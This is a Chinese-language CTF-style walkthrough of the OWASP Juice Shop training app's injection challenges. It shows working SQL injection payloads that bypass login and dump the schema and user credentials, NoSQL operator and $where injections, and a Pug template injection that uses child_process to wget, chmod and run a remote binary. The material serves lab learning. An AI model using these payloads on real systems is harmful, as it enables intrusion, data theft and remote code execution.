# Injection篇
## [前言&安裝&記分板](https://hackmd.io/@numb2too/HkH6PdJdeg)
> 基本上都參(照)考(抄)此大佬做的
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md
後來發現有官方的[武功秘笈](https://help.owasp-juice.shop/appendix/solutions.html)
## Login Admin
```http=
http://localhost:3000/#/login
```
login頁面
Email直接下Sqli
payload如下
```payload=
administrator' or 1=1 --
```
下面一位~
也可以透過burpsuite針對
```http=
POST /rest/user/login HTTP/1.1
```
去做Repeater
在email測試`'`
```json=
{
"email":"'",
"password":"aa"
}
```
發現回傳500且有sqll error
```sql=
SELECT * FROM Users WHERE email = '''
AND password = '4124bc0a9335c27f086f24ba207a4912'
AND deletedAt IS NULL
```
由此回傳可見此欄位存在sql injection
可以開打摟兄弟
隨便點一個products發現疑似admin的Email
`admin@juice-sh.op`
所以透過上面的Sql改組一下應該算過關了吧兄弟
```json=
{
"email":"admin@juice-sh.op' --",
"password":""
}
```
下面一位~
## Login Jim && Login Bender
這兩個也都透過上面的repeater改個email就過了
下面一位~
## Database Schema
透過SQLI找到DB的完整schema
透過剛剛的500回傳
我知道DB是sqlite
然後找找看哪個API可回傳資料
```http=
GET /rest/products/search?q= HTTP/1.1
```
抄作業直接告訴我這個API可以回傳
> 但這應該是經驗?
> 感覺應該是朝著哪個功能有查詢功能的那邊找
> 就能找到了?!
先開打再說
依樣repeater這個GET發現`q=%27--`報錯了
```sql=
SELECT * FROM Products
WHERE ((name LIKE '%'--%' OR description LIKE '%'--%')
AND deletedAt IS NULL)
ORDER BY name
```
舒服, 這不就來了嗎兄弟們
payload
```payload=
%27%29%29--
```
可查到全部的Products
再來組我們要的db schema
> https://sqlite.org/schematab.html
> 可查Sqlite的語法
payload
```payload=
%27%29%29%20and%201%21%3D1%20union%20select%20sql%2Cname%2C1%2C1%2C1%2C1%2C1%2C1%2C1%20from%20sqlite_master%20where%20type%3D%27table%27--
```
下面一位~
其實不用這麼長
我把產品都過濾掉只看Table
簡單一點的話只要有`sqlite_master`就好了
> 用這個可以轉換urlencoder
> https://www.urlencoder.org/
## Christmas Special
要下單個已經下架的產品`Christmas special offer of 2014`
透過上一提可查到全部的Products,發現ID:10
```json=
{
"id":10,
"name":"Christmas Super-Surprise-Box (2014 Edition)"
}
```
再來找到下單的POST
```http=
POST /api/BasketItems/ HTTP/1.1
{
"ProductId":1,
"BasketId":"2",
"quantity":1
}
```
這不就來了嗎
把ProductId改成10, 送出,下單
下面一位~
> 有些使用者好像沒有address還要新增麻煩
> jim是你的好選擇
## Ephemeral Accountant
使用(不存在的)會計師 acc0unt4nt@juice-sh.op 登錄,而無需註冊該用戶。
~~不能用這個email註冊後登入XD 因為腳色要是會計師~~
透過上面的payload我們找到USERS的Schema
```sql=
CREATE TABLE `Users` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`username` VARCHAR(255) DEFAULT '',
`email` VARCHAR(255) UNIQUE,
`password` VARCHAR(255),
`role` VARCHAR(255) DEFAULT 'customer',
`deluxeToken` VARCHAR(255) DEFAULT '',
`lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0',
`profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg',
`totpSecret` VARCHAR(255) DEFAULT '',
`isActive` TINYINT(1) DEFAULT 1,
`createdAt` DATETIME NOT NULL,
`updatedAt` DATETIME NOT NULL,
`deletedAt` DATETIME
)
```
透過payload
```payload=
'))%20and%201!%3d1%20union%20select%20role%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20--
```
找到會計師角色為`accounting`
組一個USER的select注入login的email即可
```sql=
' union select * from (
select
1 as 'id',
'a' as 'username',
'acc0unt4nt@juice-sh.op' as 'email',
'aa' as 'password',
'accounting' as 'role',
'' as 'deluxeToken',
'0.0.0.0' as 'lastLoginIp',
'/assets/public/images/uploads/default.svg' as 'profileImage',
'' as 'totpSecret',
1 as 'isActive',
'122222' as 'createdAt',
'133333' as 'updatedAt',
NULL as 'deletedAt'
) as aa --
```
下面一位~
## NoSQL DoS
讓server睡個覺
大老說這個API可能可以讓她睡覺?!
```http=
GET /rest/products/1/reviews HTTP/1.1
```
> 又是經驗談??
先打再說
mongodb睡覺指令`sleep(100)`<AI告訴我的
> 這邊要注意
> juice shop本身是使用sqlite
> 由於這題目是"模擬"nosql攻擊
> 所以指令才會使用mongodb的sleep指令去模擬達到睡眠的效果
> 實際上如果對Sqlite的服務使用sleep是沒用的
```http=
GET /rest/products/sleep(100)/reviews HTTP/1.1
```
打完收工 下面一位~
## NoSQL Manipulation
一次修改多個產品的評論
先找到修改評論的請求
```http=
PATCH /rest/products/reviews HTTP/1.1`
{
"id":"CoZvDLfHJmYrgDGjM",
"message":"aaabb"
}
```
目標是要**一次修改多筆評論**,所以要讓「id 匹配所有評論」。
使用 MongoDB 的 `$ne`(not equal)運算子
```json=
"id": {"$ne": null}
```
* `$ne` 是 MongoDB 的條件運算子,代表「不等於」。
* `"id": {"$ne": null}` 表示:「id 不為 null」的所有文件(幾乎全部)都會被更新。
> https://onecompiler.com/mongodb
> 可線上測試mongo語法
```json=
{
"id":{
"$ne":null
},
"message":"aaabb"
}
```
打完收工 下面一位~
## User Credentials
查所有USER的相關資料
用上面那個可查資料的請求
```http=
GET /rest/products/search?q= HTTP/1.1
```
找users內的password、email
```payload=
'))%20and%201!%3d1%20union%20select%20role%2cpassword%2cemail%2c1%2c1%2c1%2c1%2c1%2c1%20from%20users%20--
```
打完收工 下面一位~
## NoSQL Exfiltration
從 NoSQL DB 檢索所有使用者的訂單資料。
先找到查訂單的請求
```http=
GET /rest/order-history HTTP/1.1
```
這好像沒料
再找一個
```http=
GET /rest/track-order/ad9b-9c39c9d16008c53f HTTP/1.1
```
這好像有搞頭
來會會這個ID`ad9b-9c39c9d16008c53f`
改成`''` 發現回傳`Unexpected string`
因此大佬推測後端程式有可能是
```js!=
{ $where: "property === '" + payload + "'" }
```
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/5-stars/nosql_exflitration.md
> 大佬來源
那就開打吧
```payload=
'%20%7c%7c%20true%20%7c%7c%20'
```
收工 下面一位~
## SSTi
把病毒上傳到server上並執行
病毒在這
```=
https://github.com/juice-shop/juicy-malware
```
或也可從這找到
```=
127.0.0.1:3000/#/ftp/quarantine
```
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/6-stars/ssti.md
> 大佬提供的線索
從`https://github.com/juice-shop/juice-shop`
我們可發現`Pug: 0.4%`
Juice Shop GitHub 原始碼中顯示:**Profile(個人頁)使用 Pug 模板語言**(以前叫 Jade)

Pug 的語法會將 `#{}` 中的內容執行,像:
```pug
p Hello #{user.username}
```
測試是否存在 SSTi
在個人設定頁(Profile),將使用者名稱改為 `#{1+1}`。
結果會顯示「2」,表示程式碼真的有執行,**確定存在 SSTi 漏洞**!
注入惡意 Payload
因為 Juice Shop 是 Node.js 寫的,所以可以透過 Node.js 的方式呼叫系統指令(與 `child_process` 模組):
```pug
#{global.process.mainModule.require('child_process').exec('wget -O malware https://github.com/J12934/juicy-malware/blob/master/juicy_malware_linux_amd_64?raw=true && chmod +x malware && ./malware')}
```
payload:
利用 Node.js 的 `child_process.exec()` 執行 shell 指令
下載並執行惡意程式
打完收工

那就先告一段落搂XD
> 基本上都參(照)考(抄)此大佬做的
> https://github.com/Whyiest/Juice-Shop-Write-up/blob/main/4-stars/nosql_manipulation.md
話說為什麼有時重啟juice-shop `npm start`
之前打成功的紀錄會不見QQ
雖然會比較重要,但有時候記錄看了也很爽捏QQ
歸零了很難過QQ
~~injection全部重打了三次~~
~~原來是重啟server會問你要不要清除過關的cookie
我都很順手清除QQ 在打第四次~~